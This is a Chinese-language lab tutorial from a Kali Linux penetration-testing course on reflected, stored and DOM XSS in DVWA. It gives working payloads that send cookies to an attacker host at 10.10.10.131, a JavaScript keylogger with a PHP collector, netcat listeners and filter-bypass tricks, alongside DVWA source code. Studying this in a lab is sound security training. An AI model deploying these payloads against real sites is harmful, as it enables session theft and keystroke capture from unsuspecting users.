本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的《Kali Linux 渗透测试》课程
1. 简介
2. 反射型 XSS 漏洞
2-1. 测试漏洞
2-2. 常规攻击方法
2-3. 键盘记录器
2-4. dvwa 服务器源码
2-4-1. Low 安全级别
2-4-2. Medium 安全级别
2-4-3. High 安全级别
3. 存储型 XSS 漏洞
3-1. 验证漏洞
3-2. 漏洞利用
3-3. dvwa 服务器源码
3-3-1. Low 安全级别
3-3-2. Medium 安全级别
3-3-3. High 安全级别
4. DOM型 XSS 漏洞
4-1. 漏洞利用
1. 简介
简介
- 与 Java 原因无关
- 命名完全出于市场原因
- 使用最广的客户端脚本语言
利用方法
- 通过 WEB 站点漏洞,向客户端交付恶意执行代码,实现对客户端的攻击目的
- 注入客户端脚本代码
- 盗取 cookie
- 重定向
使用场景
- 直接嵌入html:<script> alert('XSS'); </script> - 元素标签事件:<body onload=alert('XSS')> - 图片标签:<img src="javascript:alert('XSS');"> - 其他标签:<iframe>, <div>, and <link> - DOM对象,篡改页面内容
攻击参与方
- 攻击者
- 被攻击者
- 漏洞站点
- 第三方站点
漏洞形成的根源
- 服务器对用户提交的数据过滤不严
- 提交给服务器的脚本直接返回给其他客户端执行
- 脚本咋客户端执行恶意操作
XSS 漏洞类型
- 存储型(持久性)
- 反射性(非持久性)
- DOM 型
漏洞判断方法
- 提交数据之后,服务器原封不动的返回给客户端,就可以判断为存在 XSS 漏洞
1. 反射型 XSS 漏洞
1. 测试漏洞
Poc
- <script>alert(‘xss’)</script> - <a href='' onclick=alert('xss')>type</a> - <img src=http://1.1.1.1/a.ipg onerror=alert('xss')> - <script>window.location='http://1.1.1.1'</script> - <iframe SRC="http://1.1.1.1/victim" height = "0" width ="0"></iframe> - <script>new Image().src="http://1.1.1.1/c.php?output="+document.cookie;</script> - <script>document.body.innerHTML="<div style=visibility:visible;><h1>THIS WEBSITE IS UNDER ATTACK</h1></div>";</script>
在浏览器输入数字 AAAAA
http://10.10.10.132/dvwa/vulnerabilities/xss_r/
# 原封不动的返回给了客户端,说明存在 XSS 漏洞
使用 BurpSuite
测试漏洞,链接弹窗
输入 <a href=https://www.baidu.com>click</a> 点击链接之后,发现已经跳转到其他页面
点击 click
BurpSuite
测试漏洞,点击弹窗
输入 <script>alert('xss')</script>
测试漏洞,点击弹窗
输入 <a href='' onclick=alert('xss')>type</a>
将代码进行 encoder:%3c%61%20%68%72%65%66%3d%27%27%20%6f%6e%63%6c%69%63%6b%3d%61%6c%65%72%74%28%27%78%73%73%27%29%3e%74%79%70%65%3c%2f%61%3e
测试漏洞,错误弹窗
输入 <img src=http://10.10.10.111/a.ipg onerror=alert('xss')>,错误弹窗
测试漏洞,重定向
输入 <script>window.location='https://www.baidu.com'</script>
在 kali 监听 80 端口,被攻击者的信息会被收集 root@kali:~# nc -nvlp 80 浏览器输入 <script>window.location='http://10.10.10.131'</script>
测试漏洞,框架
在 kali 监听 80 端口,被攻击者的信息会被收集 输入 <iframe SRC="http://10.10.10.131/victim" height = "0" width ="0"></iframe>
测试漏洞,提取 cookie 信息
输入 <script>new Image().src="http://10.10.10.131/c.php?output="+document.cookie;</script>
测试漏洞,篡改页面
输入 <script>document.body.innerHTML="<div style=visibility:visible;><h1>THIS WEBSITE IS UNDER ATTACK</h1></div>";</script>
2. 常规攻击方法
重定向到其他的地方(肉鸡)读取脚本文件
在 kali 本机设置 a.js
kali 使用 nc 侦听 88 端口 输入 <script src="http://10.10.10.131/a.js"></script>
3. 键盘记录器
键盘记录器脚本:Keylogger.js
# Keylogger.js document.onkeypress = function(evt) { evt = evt || window.event key = String.fromCharCode(evt.charCode) if (key) { var http = new XMLHttpRequest(); var param = encodeURI(key) http.open("POST","http://10.10.10.131/keylogger.php",true); # keylogger.php:接收键盘记录器信息的脚本 http.setRequestHeader("Content-type","application/x-www-form-urlencoded"); http.send("key="+param); } }
接收键盘记录器信息的脚本:keylogger.php
<?php $key=$_POST['key']; $logfile="keylog.txt"; $fp = fopen($logfile, "a"); fwrite($fp, $key); fclose($fp); ?>
接收的客户端的数据存放在文件:keylog.txt
访问服务器,提交代码
输入 <script src="http://10.10.10.131/Keylogger.js"></script>
被攻击者的机器被获取键盘记录
被攻击者在此网页再输入任何数据时,都会被记录
4. dvwa 服务器源码
1. Low 安全级别
<?php
if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
$isempty = true;
} else {
echo '<pre>';
echo 'Hello ' . $_GET['name'];
echo '</pre>';
}
?>
2. Medium 安全级别
源码
<?php if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){ $isempty = true; } else { echo '<pre>'; echo 'Hello ' . str_replace('<script>', '', $_GET['name']); echo '</pre>'; } ?>
攻击
# 代码中发现是 str_replace('<script>', '', $_GET['name']) 输入多层<script> <scrip<script>t>alert('xss')</script>
3. High 安全级别
源码
<?php if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){ $isempty = true; } else { echo '<pre>'; echo 'Hello ' . htmlspecialchars($_GET['name']); echo '</pre>'; } ?>
分析
# htmlspecialchars($_GET['name']) 是将 "<" 和 ">" 分别编码为 "<" 和 ">" # 可以将攻击代码写在网页本身的"<"、">"之间,攻击代码自身不含有"<"、">",这样就不会被 htmlspecialchars() 过滤。 # 比如:<a href='' onclick=alert('xss')>type</a> # dvwa 中的返回代码中不存在本身自带的"<"、">",,所以无法验证。
2. 存储型 XSS 漏洞
1. 验证漏洞
验证漏洞,原封不动的显示了输入的信息
查看第一栏是否会过滤脚本
输入 <script>alert('xss')</script>
每次点击这个点解时,都会弹框
查看第二栏是否会过滤脚本
输入 <script>alert('xssed')</script>
每次点击这个点解时,都会两次弹框
2. 漏洞利用
创建 a.js
# kali IP root@kali:/var/www/html# cat a.js var img = new Image(); img.src = "http://10.10.10.131:88/cookies.php?cookie="+document.cookie;
# kali 使用 nc 监听
进行攻击
输入 <script src=http://10.10.10.131/a.js></script> 发现无法成功输入,原因是浏览器进行了宽度限制,可以在本地修改 修改浏览器本地宽度
重新输入 <script src=http://10.10.10.131/a.js></script>
3. dvwa 服务器源码
1. Low 安全级别
<?php
if(isset($_POST['btnSign']))
{
$message = trim($_POST['mtxMessage']);
$name = trim($_POST['txtName']);
// Sanitize message input
$message = stripslashes($message);
$message = mysql_real_escape_string($message);
// Sanitize name input
$name = mysql_real_escape_string($name);
$query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";
$result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );
}
?>
2. Medium 安全级别
<?php
if(isset($_POST['btnSign']))
{
$message = trim($_POST['mtxMessage']);
$name = trim($_POST['txtName']);
// Sanitize message input
$message = trim(strip_tags(addslashes($message)));
$message = mysql_real_escape_string($message);
$message = htmlspecialchars($message);
// Sanitize name input
$name = str_replace('<script>', '', $name);
$name = mysql_real_escape_string($name);
$query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";
$result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );
}
?>
# 分析 BurpSuite 可知,响应文件中的 name 只过滤了 <script>,未过滤 </script>,所以可以判断是指过滤了 <script>,可以使用 嵌套<script>
# 输入 <script>alert('xss')</script>
3. High 安全级别
<?php
if(isset($_POST['btnSign']))
{
$message = trim($_POST['mtxMessage']);
$name = trim($_POST['txtName']);
// Sanitize message input
$message = stripslashes($message);
$message = mysql_real_escape_string($message);
$message = htmlspecialchars($message);
// Sanitize name input
$name = stripslashes($name);
$name = mysql_real_escape_string($name);
$name = htmlspecialchars($name);
$query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";
$result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );
}
?>
3. DOM型 XSS 漏洞
1. 漏洞利用
DOM : 一套 JS 和其他语言可调用的标准的 API
root@kali:~# nc -nvlp 88 反射型,输入 <script>var img=document.createElement("img");img.src="http://10.10.10.131:88/log?"+escape(document.cookie);</script>